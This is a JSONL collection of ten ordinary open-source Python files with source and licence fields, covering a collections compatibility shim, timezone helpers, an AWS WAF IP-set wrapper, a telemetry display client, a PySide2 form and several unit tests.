+{"text": "\"\"\"\nThis module is a version of collections consistent in both python 2 and 3.\n\nIt is only made of re-exports from builtin modules, with one exception. Unlike\nthe builtin UserDict, the one in this module derives from dict, which means that\nexisting code using `isintance(obj, dict)` won't break.\n\"\"\"\n\nfrom collections import *\n\nfrom .six import PY3\n\nif PY3:\n class UserDict(UserDict, dict): pass\nelse:\n import UserDict as _UserDict\n class UserDict(_UserDict.DictMixin, dict):\n __contains__ = dict.__contains__\n __iter__ = dict.__iter__\n from UserList import *\n from UserString import *\n", "source": "Changaco/python-miss", "license": "CC0-1.0"}
+{"text": "from __future__ import unicode_literals\n\nimport datetime\n\nfrom dateutil.parser import parse\nfrom django.utils.six import string_types\nfrom django.utils.timezone import pytz\n\n\ndef now_by_tz(tz='US/Central', ignoretz=True):\n \"\"\"Gets the current datetime object by timezone.\n\n :param tz: is the timezone to get the date for. tz can be passed as a\n string or as a timezone object. (i.e. 'US/Central' or\n pytz.timezone('US/Central'), etc)\n :param ignoretz: will ignore the timezone portion of the datetime object and\n tzinfo will be None.\n :return: the current datetime object by tz\n\n Examples:\n\n >>> now_by_tz('US/Pacific')\n 2011-09-28 10:06:01.130025\n >>> now_by_tz('US/Pacific', False)\n 2011-09-28 10:06:01.130025-07:00\n >>> now_by_tz(pytz.timezone('US/Central'))\n 2011-09-28 12:06:01.130025\n >>> now_by_tz(pytz.timezone('US/Central'), False)\n 2011-09-28 12:06:01.130025-05:00\n\n \"\"\"\n if isinstance(tz, string_types):\n tz = pytz.timezone(tz)\n\n if ignoretz:\n return datetime.datetime.now(tz).replace(tzinfo=None)\n return datetime.datetime.now(tz)\n\n\ndef tz_to_utc(dt, tz, ignoretz=True):\n \"\"\"Converts a datetime object from the specified timezone to a UTC datetime.\n\n :param tz: the timezone the datetime is currently in. tz can be passed\n as a string or as a timezone object. (i.e. 'US/Central' or\n pytz.timezone('US/Central'), etc)\n :param ignoretz: will ignore the timezone portion of the datetime object and\n tzinfo will be None.\n :return: the datetime object by in UTC time.\n\n Examples:\n\n >>> tz_to_utc(datetime.datetime(2011, 11, 25, 9), 'US/Central')\n 2011-11-25 15:00:00\n >>> tz_to_utc(datetime.datetime(2011, 11, 25, 9), pytz.timezone('US/Central'))\n 2011-11-25 15:00:00\n >>> tz_to_utc(datetime.datetime(2011, 11, 25, 9), 'US/Central', False)\n 2011-11-25 15:00:00+00:00\n\n \"\"\"\n if isinstance(tz, string_types):\n tz = pytz.timezone(tz)\n\n dt = tz.localize(dt)\n dt = datetime.datetime.astimezone(dt, pytz.timezone('UTC'))\n\n if ignoretz:\n return dt.replace(tzinfo=None)\n return dt\n\n\ndef utc_to_tz(dt, tz, ignoretz=True):\n \"\"\" Converts UTC datetime object to the specific timezone.\n\n :param dt: the UTC datetime object to convert.\n :param tz: the timezone to convert the UTC datetime object info. tz can be\n passed as a string or as a timezone object. (i.e. 'US/Central' or\n pytz.timezone('US/Central'), etc)\n :param ignoretz: will ignore the timezone portion of the datetime object and\n tzinfo will be None.\n :return: the datetime object by in UTC time.\n\n Examples:\n\n >>> utc_to_tz(datetime.datetime(2011, 11, 25, 9), pytz.timezone('US/Central'))\n 2011-11-25 03:00:00\n >>> utc_to_tz(datetime.datetime(2011, 11, 25, 9), 'US/Central', False)\n 2011-11-25 03:00:00-06:00\n\n \"\"\"\n if isinstance(tz, string_types):\n tz = pytz.timezone(tz)\n\n dt = pytz.utc.localize(dt)\n dt = dt.astimezone(tz)\n\n if ignoretz:\n return dt.replace(tzinfo=None)\n return dt\n\n\ndef parse_date(dt, ignoretz=True, as_tz=None):\n \"\"\"\n :param dt: string datetime to convert into datetime object.\n :return: date object if the string can be parsed into a date. Otherwise,\n return None.\n\n :see: http://labix.org/python-dateutil\n\n Examples:\n\n >>> parse_date('2011-12-30')\n 2011-12-30\n >>> parse_date('12/30/2011')\n 2011-12-30\n\n \"\"\"\n dttm = parse_datetime(dt, ignoretz=ignoretz)\n return None if dttm is None else dttm.date()\n\n\ndef parse_datetime(dt, ignoretz=True, **kwargs):\n \"\"\"\n :param dt: string datetime to convert into datetime object.\n :return: datetime object if the string can be parsed into a datetime.\n Otherwise, return None.\n\n :see: http://labix.org/python-dateutil\n\n Examples:\n\n >>> parse_datetime('2011-12-30 13:45:12 CDT')\n 2011-12-30 13:45:12\n >>> parse_datetime('12/30/2011 13:45:12 CDT')\n 2011-12-30 13:45:12\n >>> parse_datetime('2011-12-30 13:45:12 CDT', ignoretz=False)\n 2011-12-30 13:45:12-06:00\n >>> parse_datetime('12/30/2011 13:45:12 CDT', ignoretz=False)\n 2011-12-30 13:45:12-06:00\n\n \"\"\"\n try:\n return parse(dt, ignoretz=ignoretz, **kwargs)\n except:\n return None\n\n\n\"\"\"\nprint(parse_date('2011-12-30'))\nprint(parse_date('12/30/2011'))\nprint(parse_datetime('hello world'))\nprint(parse_datetime('12/30/2011 13:45:12 CDT'))\nprint(parse_datetime('2011-12-30 13:45:12 CDT', ignoretz=False))\nprint(parse_datetime('12/30/2011 13:45:12 CDT', ignoretz=False))\nprint(utc_to_tz(datetime.datetime(2011, 11, 25, 9), pytz.timezone('US/Central')))\nprint(utc_to_tz(datetime.datetime(2011, 11, 25, 9), 'US/Central', False))\nprint(tz_to_utc(datetime.datetime(2011, 11, 25, 9), pytz.timezone('US/Central')))\nprint(tz_to_utc(datetime.datetime(2011, 11, 25, 9), 'US/Central', False))\nprint(now_by_tz('US/Pacific'))\nprint(now_by_tz('US/Pacific', False))\nprint(now_by_tz(pytz.timezone('US/Central')))\nprint(now_by_tz(pytz.timezone('US/Central'), False))\n\"\"\"", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "######################################################################################################################\n# Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. #\n# #\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You may not use this file except in compliance #\n# with the License. A copy of the License is located at #\n# #\n# http://www.apache.org/licenses/LICENSE-2.0 #\n# #\n# or in the \"license\" file accompanying this file. This file is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES #\n# OR CONDITIONS OF ANY KIND, express or implied. See the License for the specific language governing permissions #\n# and limitations under the License. #\n######################################################################################################################\n# import boto3\n# from botocore.config import Config\nfrom botocore.exceptions import ClientError\nfrom ipaddress import ip_address\nfrom backoff import on_exception, expo, full_jitter\nfrom lib.boto3_util import create_client\n\nAPI_CALL_NUM_RETRIES = 5\nMAX_TIME = 20\n\nclient = create_client('wafv2')\n\nclass WAFLIBv2(object):\n\n def __init__(self):\n return\n\n # Parse arn into ip_set_id\n def arn_to_id(self, arn):\n if arn == None:\n return None\n tmp = arn.split('/')\n return tmp.pop()\n \n # Determine network version for source_ip\n def which_ip_version(self, log, source_ip):\n if source_ip == None:\n return None\n try:\n source_ip = source_ip.strip()\n ip_type = \"IPV%s\"%ip_address(source_ip).version\n return ip_type\n except Exception as e:\n log.error(\"Source ip %s is not IPV4 or IPV6.\", str(source_ip))\n log.error(str(e))\n return None\n \n # Append correct cidr to source_ip\n def set_ip_cidr(self, log, source_ip):\n if source_ip == None:\n return None\n try:\n source_ip = source_ip.strip()\n ip_type = \"IPV%s\"%ip_address(source_ip).version\n except Exception as e:\n log.error(\"Source ip %s is not IPV4 or IPV6.\", str(source_ip))\n log.error(str(e))\n return None\n \n ip_class = \"32\" if ip_type == \"IPV4\" else \"128\"\n return str(source_ip)+\"/\"+str(ip_class)\n\n # Retrieve IPSet given an ip_set_id\n def get_ip_set_by_id(self, log, scope, name, ip_set_id):\n try:\n log.debug(\"[waflib:get_ip_set_by_id] Start\")\n response = client.get_ip_set(\n Scope=scope,\n Name=name,\n Id=ip_set_id\n )\n log.debug(\"[waflib:get_ip_set_by_id] got ip set: \\n{}.\".format(response))\n log.debug(\"[waflib:get_ip_set_by_id] End\")\n return response\n except Exception as e:\n log.error(\"[waflib:get_ip_set_by_id] Failed to get IPSet %s\", str(ip_set_id))\n log.error(str(e))\n return None\n \n # Retrieve IPSet given an ip set arn\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def get_ip_set(self, log, scope, name, arn):\n try:\n log.info(\"[waflib:get_ip_set] Start\")\n ip_set_id = self.arn_to_id(arn)\n response = client.get_ip_set(\n Scope=scope,\n Name=name,\n Id=ip_set_id\n )\n log.info(\"[waflib:get_ip_set] End\")\n return response\n except Exception as e:\n log.error(\"Failed to get IPSet %s\", str(ip_set_id))\n log.error(str(e))\n return None\n\n # Retrieve addresses based on ip_set_id\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def get_addresses(self, log, scope, name, arn):\n try:\n response = self.get_ip_set(log, scope, name, arn)\n addresses = response[\"IPSet\"][\"Addresses\"]\n return addresses\n except Exception as e:\n log.error(\"Failed to get addresses for ARN %s\", str(arn))\n log.error(str(e))\n return None\n\n # Update addresses in an IPSet using ip set id\n @on_exception(expo, client.exceptions.WAFOptimisticLockException,\n max_time=MAX_TIME,\n jitter=full_jitter,\n max_tries=API_CALL_NUM_RETRIES)\n def update_ip_set_by_id(self, log, scope, name, ip_set_id, addresses, lock_token, description):\n log.debug(\"[waflib:update_ip_set_by_id] Start\")\n\n try:\n response = client.update_ip_set(\n Scope=scope,\n Name=name,\n Id=ip_set_id,\n Addresses=addresses,\n LockToken=lock_token,\n Description=description\n )\n\n log.debug(\"[waflib:update_ip_set_by_id] update ip set response: \\n{}.\".format(response))\n log.debug(\"[waflib:update_ip_set_by_id] End\")\n return response\n # Get the latest ip set and retry updating api call when OptimisticLockException occurs\n except ClientError as ex:\n exception_type = ex.response['Error']['Code']\n if exception_type in ['OptimisticLockException']:\n log.info(\"[waflib:update_ip_set_by_id] OptimisticLockException detected. Get the latest ip set and retry updating ip set.\")\n ip_set = self.get_ip_set_by_id(log, scope, name, ip_set_id)\n lock_token = ip_set['LockToken']\n\n response = client.update_ip_set(\n Scope=scope,\n Name=name,\n Id=ip_set_id,\n Addresses=addresses,\n LockToken=lock_token,\n Description=description\n )\n log.debug(\"[waflib:update_ip_set_id] End\")\n return response\n except Exception as e:\n log.error(e)\n log.error(\"[waflib:update_ip_set_by_id] Failed to update IPSet: %s\", str(ip_set_id))\n return None\n\n \n # Update addresses in an IPSet using ip set arn\n @on_exception(expo, client.exceptions.WAFOptimisticLockException,\n max_time=MAX_TIME,\n jitter=full_jitter,\n max_tries=API_CALL_NUM_RETRIES)\n def update_ip_set(self, log, scope, name, ip_set_arn, addresses):\n log.info(\"[waflib:update_ip_set] Start\")\n if (ip_set_arn is None or name is None):\n log.error(\"No IPSet found for: %s \", str(ip_set_arn))\n return None\n\n try:\n # convert from arn to ip_set_id\n ip_set_id = self.arn_to_id(ip_set_arn)\n\n # retrieve the ipset to get a locktoken\n ip_set = self.get_ip_set(log, scope, name, ip_set_arn)\n lock_token = ip_set['LockToken']\n description = ip_set['IPSet']['Description']\n log.info(\"Updating IPSet with description: %s, lock token: %s\", str(description), str(lock_token))\n\n response = client.update_ip_set(\n Scope=scope,\n Name=name,\n Description=description,\n Id=ip_set_id,\n Addresses=addresses,\n LockToken=lock_token\n )\n\n new_ip_set = self.get_ip_set(log, scope, name, ip_set_id)\n\n log.debug(\"[waflib:update_ip_set] update ip set response:\\n{}\".format(response))\n log.info(\"[waflib:update_ip_set] End\")\n return new_ip_set\n except Exception as e:\n log.error(e)\n log.error(\"Failed to update IPSet: %s\", str(ip_set_id))\n return None\n \n \n # Put Log Configuration for webacl\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def put_logging_configuration(self, log, web_acl_arn, delivery_stream_arn):\n try:\n response = client.put_logging_configuration(\n LoggingConfiguration={\n 'ResourceArn': web_acl_arn,\n 'LogDestinationConfigs': [delivery_stream_arn]\n }\n )\n return response\n except Exception as e:\n log.error(\"Failed to configure log for WebAcl: %s\", str(web_acl_arn))\n log.error(str(e))\n return None\n\n # Delete Log Configuration for webacl\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def delete_logging_configuration(self, log, web_acl_arn):\n try:\n response = client.delete_logging_configuration(\n ResourceArn=web_acl_arn\n )\n return response\n except Exception as e:\n log.error(\"Failed to delete log for WebAcl: %s\", str(web_acl_arn))\n log.error(str(e))\n return None\n\n # List webacls\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def list_web_acls(self, log, scope):\n try:\n response = client.list_web_acls(\n Scope=scope\n )\n return response\n except Exception as e:\n log.error(\"Failed to list WebAcld in scope: %s\", str(scope))\n log.error(str(e))\n return None\n \n # log when retry is stopped\n # def give_up_retry(self, log, e):\n # log.error(\"Giving up retry after %s times.\",str(API_CALL_NUM_RETRIES))\n # log.error(e)\n \n #################################################################\n # Following functions only used for testing, not in WAF Solution\n #################################################################\n\n @on_exception(expo,\n (client.exceptions.WAFInternalErrorException,\n client.exceptions.WAFOptimisticLockException,\n client.exceptions.WAFLimitsExceededException),\n max_time=MAX_TIME)\n def create_ip_set(self, log, scope, name, description, version, addresses):\n try:\n response = client.create_ip_set(\n Scope=scope,\n Name=name,\n Description=description,\n IPAddressVersion=version,\n Addresses=addresses\n )\n return response\n except Exception as e:\n log.error(\"Failed to create IPSet: %s\", str(name))\n log.error(str(e))\n return None\n\n @on_exception(expo,\n (client.exceptions.WAFInternalErrorException,\n client.exceptions.WAFOptimisticLockException,\n client.exceptions.WAFAssociatedItemException),\n max_time=MAX_TIME)\n def delete_ip_set(self, log, scope, name, ip_set_id):\n try:\n response = self.get_ip_set(log, scope, name, ip_set_id) \n if response is not None:\n lock_token = response['LockToken']\n response = client.delete_ip_set(\n Scope=scope,\n Name=name,\n LockToken=lock_token,\n Id=ip_set_id\n )\n return response\n except Exception as e:\n log.error(\"Failed to delete IPSet: %s\", str(name))\n log.error(str(e))\n return None\n\n @on_exception(expo, client.exceptions.WAFInternalErrorException, max_time=MAX_TIME)\n def list_ip_sets(self, log, scope, marker=None):\n try:\n response = None\n if marker == None:\n response = client.list_ip_sets(\n Scope=scope,\n Limit=50\n )\n else:\n response = client.list_ip_sets(\n Scope=scope,\n NextMarker=marker,\n Limit=50\n )\n return response\n except Exception as e:\n log.error(\"Failed to list IPSets in scope: %s\", str(scope))\n log.error(str(e))\n return None", "source": "subanishaik27/aws-waf", "license": "Apache-2.0"}
+{"text": "\"\"\"Terminal test utilities.\n\"\"\"\n\nfrom curses import tigetstr\nfrom curses import tparm\nfrom functools import partial\nimport re\n\nimport blessings\n\nfrom pyout.tests.utils import assert_contains\n\n\nclass Terminal(blessings.Terminal):\n\n def __init__(self, *args, **kwargs):\n super(Terminal, self).__init__(\n *args, kind=\"xterm-256color\", **kwargs)\n self._width = 100\n self._height = 20\n\n @property\n def width(self):\n return self._width\n\n @width.setter\n def width(self, value):\n self._width = value\n\n @property\n def height(self):\n return self._height\n\n @height.setter\n def height(self, value):\n self._height = value\n\n\n# unicode_cap, and unicode_parm are copied from blessings' tests.\n\n\ndef unicode_cap(cap):\n \"\"\"Return the result of ``tigetstr`` except as Unicode.\"\"\"\n return tigetstr(cap).decode('latin1')\n\n\ndef unicode_parm(cap, *parms):\n \"\"\"Return the result of ``tparm(tigetstr())`` except as Unicode.\"\"\"\n return tparm(tigetstr(cap), *parms).decode('latin1')\n\n\nCOLORNUMS = {\"black\": 0, \"red\": 1, \"green\": 2, \"yellow\": 3, \"blue\": 4,\n \"magenta\": 5, \"cyan\": 6, \"white\": 7}\n\n\ndef capres(name, value):\n \"\"\"Format value with CAP key, followed by a reset.\n \"\"\"\n if name in COLORNUMS:\n prefix = unicode_parm(\"setaf\", COLORNUMS[name])\n else:\n prefix = unicode_cap(name)\n return prefix + value + unicode_cap(\"sgr0\")\n\n\ndef eq_repr_noclear(actual, expected):\n \"\"\"Like `eq_repr`, but strip clear-related codes from `actual`.\n \"\"\"\n clear_codes = [re.escape(unicode_cap(x)) for x in [\"el\", \"ed\", \"cuu1\"]]\n match = re.match(\"(?:{}|{}|{})*(.*)\".format(*clear_codes), actual)\n assert match, \"This should always match\"\n return repr(match.group(1)) == repr(expected)\n\n\nassert_contains_nc = partial(assert_contains, cmp=eq_repr_noclear)\n", "source": "pyout/pyout", "license": "MIT"}
+{"text": "import sys\nimport functools\nimport signal\nimport select\nimport socket\nimport numpy as np\nimport pickle\nimport matplotlib.pyplot as plt\nimport time\nimport datetime\nfrom multiprocessing import Process, Queue\nsys.path.append('../dhmsw/')\nimport interface\nimport telemetry_iface_ag\nimport struct\nPLOT = True\n\nheaderStruct = struct.Struct('III')\n\nclass guiclient(object):\n def __init__(self):\n self.sock = None\n self.displaythread = Process(target=self.DisplayThread)\n self.displaythread.daemon = True\n self.displayQ = Queue()\n self.exit = False\n\n self.maxlen = 150995023\n\n for sig in [signal.SIGTERM, signal.SIGINT, signal.SIGHUP, signal.SIGQUIT]:\n signal.signal(sig, self.signal_handler)\n\n def signal_handler(self, signal, frame):\n self.exit = True\n self.displayQ.put(None)\n \n \n def restore_frame(self, data, meta, z):\n w, h, compval, val, size, actualsize,ts, gain, ccdtemp = meta\n \n dtidx = 0\n for i in range(0, w*h,compval):\n z[i] = data[dtidx];\n dtidx += 1\n \n\n\n def DisplayThread(self):\n\n if PLOT:\n f, axes = plt.subplots(sharex=True)\n for i in range(1):\n #axes[i].imshow(z, extent=[0,2448,0,2050], aspect=\"auto\", cmap='gray')\n axes.clear()\n #axes.imshow(z, extent=[0,2448,0,2050], aspect=\"auto\", cmap='gray')\n\n reconst_telemetry = telemetry_iface_ag.Reconstruction_Telemetry()\n heartbeat_telemetry = telemetry_iface_ag.Heartbeat_Telemetry()\n framesource_telemetry = telemetry_iface_ag.Framesource_Telemetry()\n datalogger_telemetry = telemetry_iface_ag.Datalogger_Telemetry()\n guiserver_telemetry = telemetry_iface_ag.Guiserver_Telemetry()\n session_telemetry = telemetry_iface_ag.Session_Telemetry()\n hologram_telemetry = telemetry_iface_ag.Hologram_Telemetry()\n fouriermask_telemetry = telemetry_iface_ag.Fouriermask_Telemetry()\n\n while True:\n msg = self.displayQ.get()\n if msg is None:\n break\n\n #print(\"**************** Display Thread\") \n msgid, srcid, totalbytes= headerStruct.unpack(msg[0:struct.calcsize(headerStruct.format)])\n meta = (msgid, srcid, totalbytes)\n offset = struct.calcsize(headerStruct.format) \n #print('offset=%d'%(offset))\n data = None\n if srcid == interface.SRCID_TELEMETRY_RECONSTRUCTION:\n print('Received RECONSTRUCTION Telemetry') \n data = reconst_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_HEARTBEAT:\n data = heartbeat_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_FRAMESOURCE:\n data = framesource_telemetry.unpack_from(msg, offset=offset)\n print('Framesource state: ', data.state)\n elif srcid == interface.SRCID_TELEMETRY_SESSION:\n data = session_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_DATALOGGER:\n data = datalogger_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_HOLOGRAM:\n data = hologram_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_GUISERVER:\n data = guiserver_telemetry.unpack_from(msg, offset=offset)\n elif srcid == interface.SRCID_TELEMETRY_FOURIERMASK:\n data = fouriermask_telemetry.unpack_from(msg, offset=offset)\n if PLOT:\n mask = np.frombuffer(data.mask, dtype=np.uint8).reshape((2048,2048))\n #mask = np.asarray(data.mask,dtype=np.int8).reshape((2048,2048))\n axes.clear()\n #axes.imshow(mask[:,:], extent=[2048,0,0,2048], aspect=\"auto\")\n axes.imshow(mask[:,:], aspect=\"auto\")\n plt.suptitle(repr(time.time()))\n #axes.set_ylim(axes.get_ylim()[::-1])\n plt.draw()\n plt.pause(0.001)\n \n else:\n print('Unknown Telemetry') \n if data and srcid != interface.SRCID_TELEMETRY_HEARTBEAT:\n print(time.time(), datetime.datetime.now())\n print(data)\n pass\n\n print('End of DisplayThread')\n\n def connect_to_server(self, server, port):\n\n #headerStruct = struct.Struct('HHBIIIHH')\n\n totlen = 0\n\n count = 0\n\n ### Continous receive of data\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.connect((server, port))\n self.readfds = [self.sock]\n\n ### Start Display Thread\n self.displaythread.start()\n length = None\n buf = b''\n data = b''\n msg=b''\n lasttime = time.time()\n meta = None\n totalbytes = 0\n while True:\n\n infds, outfds, errfds = select.select(self.readfds, [], [], 5)\n if not (infds or outfds or errfds):\n continue\n if self.exit: break\n\n for s in infds:\n if s is self.sock:\n ### Get as much data as we can\n packet = self.sock.recv(255)\n\n if not packet:\n self.exit = True\n self.displayQ.put_nowait(None)\n break\n data += packet\n datalen = len(data)\n\n #print('len packet= %d'%(len(packet)))\n ### If he haven't processed the header/meta, then lets.\n #if meta is None and datalen > struct.calcsize(headerStruct.format)+25:\n if meta is None and datalen >= struct.calcsize(headerStruct.format):\n #packet = self.sock.recv(12)\n #print(\"Recieve: %s\"%(':'.join(\"{:02x}\".format(ord(c)) for c in packet[0:50])))\n msg_id, srcid, totalbytes = headerStruct.unpack(data[0:struct.calcsize(headerStruct.format)])\n totalbytes += struct.calcsize(headerStruct.format)\n meta = (msg_id, srcid)\n #print('msg_id=%d, srcid=%d, totalbytes=%d'%(msg_id, srcid, totalbytes))\n\n if datalen >= totalbytes: ### We have a complete packet stored.\n msg = data[:totalbytes]\n data = data[totalbytes:]\n meta = None\n totalbytes = 0\n #print('%.2f Hz'%(1/(time.time()-lasttime)))\n lasttime = time.time()\n #plt.show(block=False)\n count+=1\n self.displayQ.put_nowait(msg)\n #print('Full message received after getting meta: datalen=%d, datalen after=%d'%(datalen, len(data)))\n else:\n\n if datalen < totalbytes:\n continue\n\n ### We have a complete message\n msg = data[:totalbytes]\n data = data[totalbytes:]\n #print('Full message received: datalen=%d, datalen after=%d'%(datalen, len(data)))\n meta = None\n totalbytes = 0\n self.displayQ.put_nowait(msg)\n #print('%.2f Hz'%(1/(time.time()-lasttime)))\n lasttime = time.time()\n count+=1\n if self.exit: break\n\n self.sock.close() \n\n\nif __name__ == \"__main__\":\n a = guiclient()\n host= socket.gethostbyname('localhost')\n port = 9996\n print(\"Client host: %s: port: %d\"%(host, port)) \n a.connect_to_server(host, port) \n", "source": "dhm-org/dhm_suite", "license": "Apache-2.0"}
+{"text": "#-----------------------------------------------------------------------------\n#\n# Copyright (c) 2006 by Enthought, Inc.\n# All rights reserved.\n#\n# Author: Dave Peterson \n#\n#-----------------------------------------------------------------------------\n\n# Standard library imports\nimport logging\n\n# Enthought library imports\nimport apptools.sweet_pickle as sweet_pickle\nfrom apptools.sweet_pickle.global_registry import _clear_global_registry\nfrom traits.api import Bool, Float, HasTraits, Int, Str\n\n\nlogger = logging.getLogger(__name__)\n\n\n##############################################################################\n# Classes to use within the tests\n##############################################################################\n\nclass Foo(HasTraits):\n _enthought_pickle_version = Int(1)\n b1 = Bool(False)\n f1 = Float(1)\n i1 = Int(1)\n s1 = Str('foo')\n\nclass Bar(HasTraits):\n _enthought_pickle_version = Int(2)\n b2 = Bool(True)\n f2 = Float(2)\n i2 = Int(2)\n s2 = Str('bar')\n\nclass Baz(HasTraits):\n _enthought_pickle_version = Int(3)\n b3 = Bool(False)\n f3 = Float(3)\n i3 = Int(3)\n s3 = Str('baz')\n def __setstate__(self, state):\n logger.debug('Running Baz\\'s original __setstate__')\n if state['_enthought_pickle_version'] < 3:\n info = [('b2', 'b3'), ('f2', 'f3'), ('i2', 'i3'), ('s2', 's3')]\n for old, new in info:\n if old in state:\n state[new] = state[old]\n del state[old]\n state['_enthought_pickle_version'] = 3\n self.__dict__.update(state)\n\n### EOF ######################################################################\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "import logging\nimport re\nimport pytest\nfrom .common import dict_read, dict_compare_keys\n\nlogger = logging.getLogger(__name__)\n\n@pytest.fixture\ndef contacts_view_id(fs):\n views = fs.contacts.get_views()\n for v in views:\n if re.match('all', v['name'].lower()):\n return v['id']\n assert False, 'Could not find a contacts view'\n return None\n\ndef assert_contact_well_formed(contact):\n ref_contact = dict_read('contact.json')\n logger.debug('contact = %s', contact)\n logger.debug('ref_contact = %s', ref_contact)\n diff = dict_compare_keys(contact, ref_contact)\n logger.debug('dict_compare = %s', diff)\n assert diff == [], 'unexpected contact structure'\n\ndef test_contacts_get_views(fs):\n views = fs.contacts.get_views()\n assert views\n\ndef test_contacts_get_all_generator(fs, contacts_view_id):\n for contact in fs.contacts.get_all_generator(view_id=contacts_view_id, limit=10):\n assert_contact_well_formed(contact)\n\ndef test_contacts_get(fs, contacts_view_id):\n contact1 = next(fs.contacts.get_all_generator(view_id=contacts_view_id, limit=1))\n assert_contact_well_formed(contact1)\n contact2 = fs.contacts.get(id=contact1['id'])\n assert_contact_well_formed(contact2)\n", "source": "colmeirin/freshsales-sdk-py", "license": "MIT"}
+{"text": "from gym.envs.registration import register\n\nregister(\n id='patrolling-v0',\n entry_point='PatrollingProblem.envs:PatrollingProblemEnv',\n)", "source": "Fr00zen/-AI50-", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'res/ItemWidget.ui',\n# licensing of 'res/ItemWidget.ui' applies.\n#\n# Created: Wed Jul 24 14:22:57 2019\n# by: pyside2-uic running on PySide2 5.13.0\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PySide2 import QtCore, QtGui, QtWidgets\n\nclass Ui_ItemWidget(object):\n def setupUi(self, ItemWidget):\n ItemWidget.setObjectName(\"ItemWidget\")\n ItemWidget.resize(200, 100)\n self.horizontalLayout = QtWidgets.QHBoxLayout(ItemWidget)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n self.labelThumbnail = QtWidgets.QLabel(ItemWidget)\n self.labelThumbnail.setText(\"\")\n self.labelThumbnail.setObjectName(\"labelThumbnail\")\n self.horizontalLayout.addWidget(self.labelThumbnail)\n self.verticalLayout = QtWidgets.QVBoxLayout()\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.labelTitle = QtWidgets.QLabel(ItemWidget)\n self.labelTitle.setText(\"\")\n self.labelTitle.setObjectName(\"labelTitle\")\n self.verticalLayout.addWidget(self.labelTitle)\n self.progressBar = QtWidgets.QProgressBar(ItemWidget)\n self.progressBar.setProperty(\"value\", 24)\n self.progressBar.setObjectName(\"progressBar\")\n self.verticalLayout.addWidget(self.progressBar)\n self.horizontalLayout.addLayout(self.verticalLayout)\n\n self.retranslateUi(ItemWidget)\n QtCore.QMetaObject.connectSlotsByName(ItemWidget)\n\n def retranslateUi(self, ItemWidget):\n ItemWidget.setWindowTitle(QtWidgets.QApplication.translate(\"ItemWidget\", \"Form\", None, -1))\n\n", "source": "Ingener74/Mist-Tooth", "license": "MIT"}
+{"text": "import unittest\nfrom datetime import datetime, timedelta\n\nfrom automover.test.helpers import *\n\nfrom automover.remover import handle_remove\n\nclass TestRemover(unittest.TestCase):\n def setUp(self):\n self.client = client = DummyClient()\n self.torrents = [\n DummyTorrent(client, '1', datetime.now(), 0, '/matchpath/', False, True, ['http://matchtracker.com']),\n DummyTorrent(client, '2', datetime.now(), 2, '/matchpath/', True, True, ['http://matchtracker.com']),\n DummyTorrent(client, '3', datetime.now()-timedelta(hours=20), 0.5, '/matchpath/', True, True, ['http://matchtracker.com']),\n DummyTorrent(client, '4', datetime.now()-timedelta(hours=50), 50, '/matchpath/', True, True, ['http://matchtracker.com']),\n DummyTorrent(client, '5', datetime.now()-timedelta(hours=50), 50, '/matchpath/', True, True, ['http://matchtracker.com']),\n DummyTorrent(client, '6', datetime.now(), 50, '/matchpath/', False, True, ['http://matchtracker.com']),\n DummyTorrent(client, '7', datetime.now(), 50, '/matchpath/', True, True, ['http://matchNOTtracker.com']),\n DummyTorrent(client, '8', datetime.now(), 50, '/matchNOTpath/', True, True, ['http://matchtracker.com']),\n ]\n self.client.torrents = self.torrents\n \n def test_timed_remove(self):\n handle_remove(self.client, {'fakesite1': ('time', 'matchtracker', '3')}, ['/matchpath'])\n self.assertEqual([torrent.torrent_id for torrent in self.torrents], ['1', '2', '6', '7', '8'], 'Did not remove correct torrents')\n \n def test_ratio_remove(self):\n handle_remove(self.client, {'fakesite1': ('ratio', 'matchtracker', 1.5)}, ['/matchpath'])\n self.assertEqual([torrent.torrent_id for torrent in self.torrents], ['1', '3', '6', '7', '8'], 'Did not remove correct torrents')\n \n def test_combined_remove(self):\n handle_remove(self.client, {'fakesite1': ('ratio', 'matchtracker', 1.5), 'fakesite2': ('time', 'matchtracker', '3')}, ['/matchpath'])\n self.assertEqual([torrent.torrent_id for torrent in self.torrents], ['1', '6', '7', '8'], 'Did not remove correct torrents')", "source": "JohnDoee/rtorrent-automover", "license": "BSD-3-Clause"}
